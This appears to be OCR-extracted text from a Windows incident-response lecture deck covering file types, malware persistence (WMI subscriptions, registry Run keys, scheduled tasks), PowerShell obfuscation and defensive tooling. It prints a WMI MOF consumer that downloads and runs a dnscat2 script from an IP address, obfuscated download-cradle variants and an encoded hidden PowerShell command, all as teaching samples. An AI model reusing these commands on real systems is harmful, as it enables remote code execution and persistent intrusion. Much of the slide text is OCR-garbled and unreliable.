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Agenda - Week 10

IR Stages

Relevant File Types .
Additional Windows Information
How does malware work?
Persistence

PowerShell

Fighting Back

Closing Thoughts

Homework
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General IR Steps

Preparation Analysis Eradication

Detection Containment
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Relevant File Types

I

.bat (Batch)

.exe (Executable)

dIl (Dynamic Link Library)

.ps1 (PowerShell Script)

.mof (Managed Object Format) o
.evtx (Event Log File)

xml (Extensible Markup Language)
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001

Batch

DOS script
“ first_basic_batch.bat - Notepad

File Edit Format View Help

Can interact with predefined executables o
ECHO Congratulations! Your first batch file executed successfully.

PAUSE

.bat

100%  Windows (CRLF) UTF-8
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Executable

Machine code that is executed by the operating system
May be written using high-level languages

.EXxe

5 HxD - [C:\Windows\notepad.exe]

i File Edit Search View Analysis Tools Window Help

[ geckodriver.exe
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Dynamic Link Library

Windows implementation of “shared libraries”

Prevents redundant storage commonly used code

This PC » Local Disk (C:) » Windows »

dll

MName

aadauthhelper.dll

aadcloudap.dll
aadjcsp.dlil

aadtb.dll

aadWamExtension.dll

AarSve.dll

AboutSettingsHandlers.dll
AbovelockAppHost.dll

accessibilitycpl.dIl

accountaccessor.dll

AccountsR.dll

AcGenral.dll

. Aclayers.dll

acledit.dll

aclui.dll

acmigration.dll

ACPBackgroundManagerPolicy.dll

acppage.dll

acproxy.dll




!J;! NetD?f

PowerShell Script

PowerShell script

Extensive .NET integration

.psT 8

(3p-1)*($q-1)
[math] : :sqre(Sn)
=[math] : : sq )
write-h i
't
- @0 -
) e()
#build Tist of 1 < e < Fi(N) $erul
Ewhile( q )

¥
i
#factors of N and factors of fi(N)
-1
while( q 5

=
rl while(si -Te {
& AF((sn % §1) -eq 0){
s
+= N/
b

1
=1
while($i -le )M
if(C % $1) -eq O{

— O



.’MM NAMESPACE ("\\\\.\\root\\subscription™)

instance of __EventFilter as $EventFilter
{
Name = "Windows Update Event MOF";
EventNamespace = oot clmvi’;
Query = “SELECT * FROM __InstanceCreationEvent WITHIN 5"
"WHERE TargetInstonce ISA \"Win3Z_NTLogEvent\" "
“AND TargetInstance.EventCode = \"257\"
“"AND TargetInstance.Message LIKE \"%10.133.251.104
3 Querylanguage = "Wl
B

instance of CommandLineEventConsumer as $Consumer
{
Name = "Windows Update Consumer MOF";
RunInteractively = false;
CommandLineTemplate = “omd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString('http://109.133.251.104/dnscat2.psl’); Start

instance of __FilterToConsumerBinding

Vi
Filter = $EventFilter;
Consumer = $Consumer;

PS Ci:wUsers\AnthonyM> mofcomp.exe
Microsoft (R) MOF Compiler Version 10.8.19841.1
Copyright (c) Microsoft Corp. 1997-2886. All rights reserved.




Event Log

Stores Windows Logs

Located "C:\Windows\System32\winevt\Logs\"

Event viewer used to view logs

.evtx

@
File Action View Help
e Aol ? i
] Event Viewer (Local)
3 Custom Views.
v [ Windows Logs
] Application
(5] Security
[ Setup
[-] System
] Forwarded Events.
7 Applications and Services Logs
7 Saved Logs
-} Subscriptions

System  Number of events: 44,778
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Warning
Warning
Warning

i, Warning
Warning
Warning

i, Warning
Warning

i, Warning
Warning
Warning

i, Warning
<

Event4, FilterManager

General Details

Date and Time Source
3/20/2021 631:27PM FilteManager
3/20/2021 631:27PM FilteManager
3/20/2021 631:27PM FiltetManager
3/20/2021631:27PM FiltetManager
3207201 FilterManager
37207201 FilterManager
3/29/2021631:27PM FilterManager
3/29/2021 631:27PM FilterManager
3/29/2021 631:27PM FilterManager
/2972021 6:30:08 PM DistributedCOM
3/20/2021 621:03 PM DistributedCOM
3/20/2021 6:17:23 PM DistributedCOM

System

Open Saved Log.
¥ Create Custom Vie

Import Custom View.
Clear Log.

T Filter Current Log,

[£] Properties

@8 Find.

Ied Save All Events As..
Attach a Task To this Log..
View

G Refresh

Help.

Event 4, FilterManager

idfEndpointWatcherDriver (Vs E d to attach to volume "\Devic
i andard final sta and/or its supporting applications should handle this
condition persists. contact the vend

[] Event Properties

Adtach Task To This Event..

Log Name: System
Source: FilterManager Logged: 3/29/2021 63127 PM
Event ID; 4 Task Category: None

Warning Keywords:
User: SYSTEM Computer:  DESKTOP-3MJUS0B
OpCode Info

Mnrs Infrrmatinn: Fusnt | an Online Heln
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Extensible Markup Language

Many uses

Scheduled Tasks are stored as

xml
xml

<Triggers>
<CalendarTrigger id="Triggerl”s
StartBoundary>2021-02-28T11:29
ScheduleByDay:
<DaysInterval>
/ScheduleByDa
CalendarTrigger>

IgnoreNew</MultipleInstancesPolicy>

/DisallowStartlfOnBatterie
ngOnBatteries>false</StopIfGoingOnBatterie

true</hllowHardTerminat,

IdleSettings

StartOnDemand>true</AllowStartOnDemand>

Zuthor">

C:\Program Files (x86)\Common Files\Ado
cheduled</Arguments

eGCClient\AGCInvokerUtility. ex



Registry

Hierarchical database
Stores low-level settings

Storage

StorageManagement

StorPort

StorVSP

StSec

SystemInformation

SystemResources

TabletPC

Terminal Server
Addins
ClusterSettings
ConnectionHandler

DefaultUserConfiguration

KeyboardType Mapping

RCM

SessionArbitrationHelper

SysProcs

TerminalTypes

Utilities

VIDEQ

Wds

WinStations
TimeZonelnformation

(Default)
AllowRemoteRPC
DelayConMgrTimeout
DeleteTempDirsOnExit
fDenyChildConnections
fDenyTSConnections

fSingleSessionPerlser

GlassSessionld
InstancelD
MotificationTimeOut
PerSessionTempDir
ProductVersion
RailShowallNotifylcons
RCDependentServices
RDPVGClnstalled

2P| SnapshotMonitars

StartRCM
TSUserEnabled

REG_DWORD
REG_DWORD

REG_DWORD
REG_DWORD
REG_DWORD
DWORD
REG_SZ
REG_DWORD
REG_DWORD
REG_SZ
REG_DWORD
REG_MULTI_SZ
REG_DWORD
REG_SZ
REG_DWORD
REG_DWORD
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Data

(value not set)
0x000DD00D (0)
000000000

000000007

0x00000D00 (0}
0x0000000T

0%00000001 (1)

0% 00000004 (4)
db281a2d-0c40-4590-86d5-16cEb48
0%00000000 (0)
0%00000000 (0)

5.1

0%00000001 (1)
CertPropSve SessionEny
000000001 (1)

1

000000000 (0)
000000000 (0)
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Scheduled Tasks

Preform actions given specific triggers

Stored in C:\Windows\System32\Tasks as xml files

e cton
-

@ Tesk Sches
i Tack Schedler Library
I Asus Multiple triggers defined

 Muciosott esdy  A11Z9AM every day
AM every 15 days
e Even e tiggers defined
Studo = Googlelipds.. Maltiple trggers defined
= GoogleUpda... A2 e
W

Name Triggers Next Fun Time Lost Run Time Lost Run R &
30/2021 $0G00PM  /26/2021 6:09:23 PM
3072021 11:29:00 AM
21120000 AM

for 8 duration of 1 day It Runing T

Ensble All Tosks His
y 1 hour for a duration of 1 day. 75112PM N b
View
The cperat Refresh -
The task b Help
The sperat
The operat | | Selected tem
Run
General Triggers Actions Conditions Seftings History (disabled) End
Name: [Adobe Acrobat Update Task Disabie
Lacatio Export.
Author:  Adabe Systems Incorporate Properties

Description: | This Lask keeps your Adobe Reader and Acrobat applications up ta date with the latest enhancements and security fxes

Dus
EDP
Enterprisel
ExplitGusr
-
e running the task, usethe following user sccount
INTERACTIVE

Run only when user is logged on

Run whather user is ogged en or net

Da nat store password, The task will
Fun with highest privileges

License Ma ,,

Hidden anfigure for:
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Services

Work behind the scenes to keep things working

4 startup types

Automatic (Delayed Start) e T e T
A U t O m a t | C Service name: AdobeARMservice

M | Display name: Adobe Acrobat Update Service

anua Description: obe Acrobat Updater keeps your Adobe software
. pto date.

Disabled

Path to executable: .
"C:\Program Files {x86)\Common Files"\Adobe \ARM"1.0hamsve exe”

Startup type: Automatic

Service status:  Running

Start Stop Pause Resume

You can specify the start parameters that apply when you start the service .
from here.

Start parameters:




Task Manager

Provides high-level view of what is running on a system.

o Marage

2o Mastiogs (2840

G Cortale Mapsing an

Db e

Heloe:

nawe
ey
name

asame

Proseme, Pefcrmance App hatory Sanug Uuens e Senies

cpu
amee

© Memary
100318

Ethemet
eI

Ethermet
Pt Netmesk pter e
Frete

CPU
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Hands-on

—

Get a list of all running processes using PowerShell.

Are any services listed?
If yes how are they listed?
If no why not?
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How does malware work?
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What user?

Malware can easily impersonate a signed in user.
Processes spawn as that user.

Malware can impersonate a different user then those signed in.
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How does it run?

I

Non-service malware may run in a hidden window
Services generally will not have a corresponding GUI on the infected machine

May run hidden within a legitimate process (dll injection)
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How does it communicate?

Beacons
UDP used so that a session is never opened

Protocols that can be used
HTTP/HTTPS GET and POST Requests
DNS Tunneling
FTP
Anything.....
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Questions?




84010140000 SFC WIND (*10%*2)

Break slide

Please return on time!
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Persistence
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e

Persistence

Malware will aim to survive
Restart
Shutdown
IP Change
Logout
Password Reset
Account Deletion :

-
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Persistence cont.

—

WMI Subscriptions
Scheduled Tasks
Startup Items
Login scripts
Services

Registry
PowerShell Profile

Malicious Group Policies
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WMI Subscriptions

Introduced in Windows 2000
Executes PowerShell or VBScript
Event filter uses a query to monitor for a specific event

Event consumer receives event and executes code

wWmiEventFilter activity detected: WmiEventConsumer activity detected:
RuleName:

RuleName: y EventType: WmiConsumerEvent
EventType: WmiFilterEvent — UtcTime: 2018-10-08 23:54:39.884
Operation: Created

UtcTime: 2018-10-08 23:54:39.869 WMI / ' User: TEWIN7\IEUser

Operation: Created oW ot Name: “Updater®

o Instrumentation Type: Command Line
User: IEWIN7\IEUser Destination: "C:\\Windows\\System32\\WindowsPowerShell\\v1.8\\powershell.ex

EventNamespace: “root\\CimVv2" e -NonI -W hidden -enc SOBMACGAJABQAFMAVQBFAFIAUWBPAGBAbGBUAEEAQBSAEUALGBOA
FMAVGBLAF TACWBPAGBATGAUAEOAQQBKAGBAUGAGACOARWBTACAAMWADAHS AJABHAF AAUWAQAF SAU
gBFAGYAXQAUAEEACWBZAGUATOBi AGWASQAUAE CAZOBBAFQAWOBWAGUAKAANAFMACQBZAHOAZOBEA

Name: “Updater"”
Query: "SELECT * FROM _ InstanceModificationEvent WITHIN 60 WHERE Target C4ATQBhAGAAYQBNAGUADQB1 AGAAJAAUAEEAQBOAGBADOBhAHOAZQBYAGAALgBVAHOASOBS AHMA)

wApAC4ATgBHAEUAVABGAGKARQBQAGWAZAAIACGAIWB jAGEAYWBOAGUAZABHAHIAbWB 1AHAAUABVA
GwAaQBj AHkAUWBLAHQAJABpAGAAZWBZACCALAANAE4AIWArACCAbWBUAFAAJQBiAGWAAQB jACWAU

Instance ISA 'Win32_ PerfFormattedData Perf0S_System' AND TargetInstance.S
ystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
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cheduled Tasks

Introduced in Microsoft Plus! (1995)

Triggers and Actions

General Triggers Actions Conditions Settings History (disabled) General Triggers Actions Conditions Settings History (disabled)
When you creste a task, you can specify the conditions that will trigger the task. When you create a task, you must specify the action that will occur when your task starts. Security options
When running the task, use the following user account:

INTERACTIVE Change User or Group...

Action Details
Start a program C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.,

Details Status

At log on of any user - After triggered, repeat ever .. Enabled
At 4:00 PM every day - Trigger expires at 5/2/2027 12:05:00 PM. Enabled
hen user is logged on

n whether user is logged on or not

ore password. The task

[] Run with highest privileges

Delete
Delete

=

Cancel




Startup Items

Can be found in task manager

Opti

Processes Performance App history Statup Users Details

# Starter Module
& Razer Synapse 3
[&] Realtek HD Audie Universal
P Windows Security notificati
) SteelSeries Engine 3 Core
B Your Phone
M Cortana
Tunes Helper
Tunes Mobile Device Helper
Google Chrome
reWASD: gamepad mapper

[&] Adobe GC Invoker Utility

Publisher

Razer Inc.
Realtek Semiconductor
Microsoft Corporation
SteelSeries ApS
Microsoft Corporation
Microsoft Corporation
Applelnc.

Applelnc.

Google LLC

Disc Soft Ltd

Adobe Systems, Incorpo..

Status

Enabled
Enabled
Enabled
Enabled
Enabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled

Disabl

Startup impact
Low
High
Low
Medium
High
None
None
None
None
None
High

Nane
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Registry :

Introduced in 1992

Start programs at sign on/start up
HKEY_LOCAL_MACHINE = HKLM:\
HKEY_CURRENT_USER = HKCU:\

Startup Locations
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Malware may redirect
Registry key points to a different registry key



!IJ NelDef

Services

May run as svchost.exe

4 startup types
Automatic (Delayed Start)
Automatic Servicename:  AdobeARMservice

General LogOn Recovery Dependencies

M | Display name: Adobe Acrobat Update Service

a n u a Description obe Acrobat Updater keeps your Adobe software
. pto date.

Disabled

Path to executable: .
"C:\Program Files {x86)\Common Files"\Adobe \ARM"1.0hamsve exe”

Startup type: Automatic

Service status:  Running
Start Stop Pause Res

You can specify the start parameters that apply when you start the service .
from here.

Start parameters:

Apply



PowerShell Profile

Run each time PowerShell.exe is opened

A PowerShell script

Description

All Users, All Hosts

All Users, Current Host
Current User, All Hosts

Current user, Current Host

Path

SPSHOME\Profile.ps1

TPSHOMEMicrosoft.PowerShell_profile.ps1

fHome\[My ]Documents'PowerShell\Profile.ps1

fHome\[My |Documents)PowerShelly,

Microsoft.PowerShell_profile.ps1
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Malicious Group Policies

Group policies can soften a device
Disable anti-virus
Turn off or flood logs
Disable firewalls
And more!

Group Policies can be used to establish registry based persistence

Malicious group policies are very dangerous
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Hands-on

List all services with a startup type of “automatic” and “Automatic Delayed Start”

using PowerShell.
Hint: Cmdlets won't always show all properties of a given cmdlet’s output by default.
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IT People like it Attackers Love it
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Why PowerShell?

NET Integration

WINAPI Integration

Windows Remote Management (WIN-RM)

Windows Management Instrumentation (WMI)

Great Documentation 2
Many useful Cmdlets

Installed on every Windows system

Easy to write scripts

Janky Obfuscation
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Obfuscation and PowerShell

. . . . . /
Signature based detection on malicious PowerShell is useless .

-nop == -nopr == -noprof == -noprofile

These produce the same result
Invoke-Expression (New-Object Net. WebClient).DownloadString(“htt” + “ps://" +
"bit.ly/sample”)
TNVoke-ExpRessioN (& (GCM *w-0%) .
“"NeT. WeBClieNT)."DowNToAd'STRiINg"( 'ht'+'tps://bit.ly/sample’)

-
system("powershell -ExecutionPolicy Bypass -nopr -nenin Set-ADAccountPassword -Identity \"jim\" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText \"Change.me!\" -Force)");
system("powershell -ExecutionPo Bypass -noprof -noninter Set-ADAccountPassword -Identity \"jim\" d { ing Plain Chan
system("powershell -ExecutionP Bypass -nopr -noninterat| Set-ADAccountPassword -Identity \"jim\ d 1 ing n han
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PowerShell Based Exploitation

Open Source Tools m r 2

Bloodhound >
Empire (BC-Security Branch)

Powerup

PoshC2

Death Star
https://github.com/Magrene/PowershellShell/blob/Dev/Bucephalus.ps1
And more...

PsExec.exe easily used to escalate privileges to NT AUTHORITY\SYSTEM

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
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Fighting Back
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v [ Applications and Services Logs
£] Hardware Events
£ Internet Explorer
£] Key Management Service
v || Microsoft
| AppV
| User Experience Virtualization
v | Windows
. | AAD
Stores event logs generated by operating system
1 AppHost
o o I AppID
| ApplicabilityEngine
Best way to view is to export to a .csv and use Excel D wicntrgee
| Application-Experience
b ApplLocker
| AppModel-Runtime
| AppReadiness
I Apps
7 Apps-API
| AppXDeployment
| AppXDeployment-Server
| AppxPackagingOM

Event Viewer

v _n Windows Logs
Application
Security

Systemn
| Forwarded Events

b AssignedAccess

| AssignedAccessBroker

7 APort

7 Audio

| Authentication
Authentication User Interface
BackgroundTaskinfrastructure

BackgroundTransfer-ContentPrefetcher
Backup
Base-Filtering-Engine-Connections

Base-Filtering-Engine-Resource-Flows

Biometrics

BitLocker-API
BitLocker-DrivePreparationTool
Bits-Client

Bluetooth-BthLEPrepairing
Blueteoth-BthMini

Bluetooth-MTPEnum

Bluetooth-Policy

BranchCache

BranchCacheSMB

Build-RegDll

CAPI2
CertificateServicesClient-CredentialReaming
CertificateServicesClient-Lifecycle-System

O 5 N S G . O O O N

CertificateServicesClient-Lifecycle-User
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Event Viewer + PowerShell Logging

‘Windows PowerShell Number of events: 7,053

Date and Time
3/30/2021 11:42;
3/30/2021 11:42:
3/30/2021 11:42:
3/30/2021 11:42:
3/30/2021 11:42; -
3/30/2021 11:42:
3/30/2021 11:42:
3/30/2021 11:42:
3/30/2021 11:42;
3/30/2021 11:42:
3/30/2021 11:42:13 PM

Event 800, PowerShell (PowerShell)

General  Details

HostApplication=CAWindows\System32\WindowsPowerShellv1 .O\powershell exe
19041610
5df37a-123d-4f73-Bcba-aff1cTb0bad

CommandLine=

Details:
Commandinvocation(Out-String
Commandinvocation(Out-Defau

ParameterBinding(Out-String) putObj Cannot convert value
25666191575408081230584500565842720172220791434840556645650116821151521543631087996410386707
996074829918329637209367053214698473354564 74462203 187664030635742106 7692869159927 100957378686
73162816203105461336764950876716885 1112420686221 161247232654327561551886537335838800491288916
423158263554704154811276252730020711087206386918321037821713501766584649097078941 75067432
565024048085514591061123741201827408646261678974381416599826 263675361 3417468704 78669384036012

1736797150240995107857332225251 8785571881 79820442284 70458361054858289172291414670405
26303214625310653228 70067289465 1207424434066785396803 78095003656961304096 7854415

1" to type "System.Int32". “Value was cither toe large or too small for an Int32."" .

ParameterBinding(Out-Default): name="InputObject’; value="Cannot convert value

"25666191575498081230584390563842729172220791494840556645659116821151521543631987996410386707

296974

22901832063720036705321460847335458474452203 187664030605742106760286015992710005737868673 1228

162031054613367649508787162

2511124206862211612472326543275615518865373358388004912880164231 58263554704154811276252730020

7110872063286318921037821713

501766584649097078341750674320333565024048085514591061123741201827408646261678974381416599826

263675361341746870478669384

03601217426504367367971502409951078073322252516785571 881 798204422047045836 10548582891 72291414

670405227147545197526393214

6253106532287006738946512074244240667853968037800500365606190409678544151" to type

"System.Int32", Error: "Value was




PowerShell for Defense

Many cmdlets can be leveraged to do threat hunting

Get-NetTCPConnection
Get-Process

Get-Service
Get-MPComputerStatus
Get-MpThreat

And more!

NetDef

001

S ——
g /
-y \
PS5 C:\Users‘\AnthonyM> get-mpthreat .
CategoryID : B
DidThreatExecute : True
IsActive False
Resources {amsi:_C:\Windows\System32\WindowsPowersShellivl.@\powershell.exe,
internalamsi: 747D4E1CF28868AD39ACCFI71FB2ABG2}
RollupStatus 65
SchemaVersion 1.8.8.9
SeverityID 5
ThreatID 2147726489
Threatlame Trojan:PowerShell/Mountsi.Alml
TypeID @
PSComputeriame
CategoryID : 8
DidThreatExecute : False
IsActive False
Resources {file:_C:\Users\AnthonyM\Downloads\Empire-3.7.2.zip, webfile:_C:\Users\AnthonyM\Downloads\Empire-3.7
.2.zip|https://codeload.github.com/BC-SECURITY/Empire/zip/refs/tags/v3.7.2|pid:3992,ProcessStart:132
611871683674163}
RollupStatus 1
SchemaVersion 1.8.2.9
SeverityID 5
ThreatID 21477308489
ThreatName Trojan:Win32/PSReflectiveloader.A
TypeID @

PSComputeriame
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Sysinternals

https://docs.microsoft.com/en-us/sysinternals/downloads/

Fantastic suite of FREE tools developed by Mark Russinovich
Autoruns: Good for identifying persistence
TCPView: View Active TCP connections and TCP/UDP listeners
ListDLLs: List all dlls currently loaded
LogonSessions: All active logon sessions
ProcessExplorer: Detailed information about processes
LoadOrder: Shows the order drivers are loaded
ProcessMonitor: Monitor the behavior of a process
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Closing Thoughts

Incident response is often expensive (time=$$$)

Identifying the root cause isn't always possible
Highlighting potential root causes is a must

Recommendations should be substantive not surface level
Keep VERY good notes
Always check remote access logs like RDP, WIN-RM, SSH, HTTP, FTP etc.

Rebuilding breached infrastructure is often the best direction
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Homework

Breached Domain controller

Hint: You might be getting some annoying behavior of the notepad variety
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-

file-execution-options
https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-

execution-options/



https://docs.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-file-execution-options
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Additional Resources

Windows Security Log Event IDs
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx .

Windows Sysinternals
https://docs.microsoft.com/en-us/sysinternals/

Abusing Windows Management Instrumentation (Black Hat)
https://tinyurl.com/a7jpzmsc
https://www.youtube.com/watch?v=0SiMgnGwpg8 .

Revoke-Obfuscation: PowerShell Obfuscation Detection (Black hat)
https://www.youtube.com/watch?v=x97ejtv56xw

PowerShell Documentation ’
https://docs.microsoft.com/en-us/powershell/


https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx
https://docs.microsoft.com/en-us/sysinternals/
https://tinyurl.com/a7jpzmsc
https://www.youtube.com/watch?v=0SjMgnGwpq8
https://www.youtube.com/watch?v=x97ejtv56xw

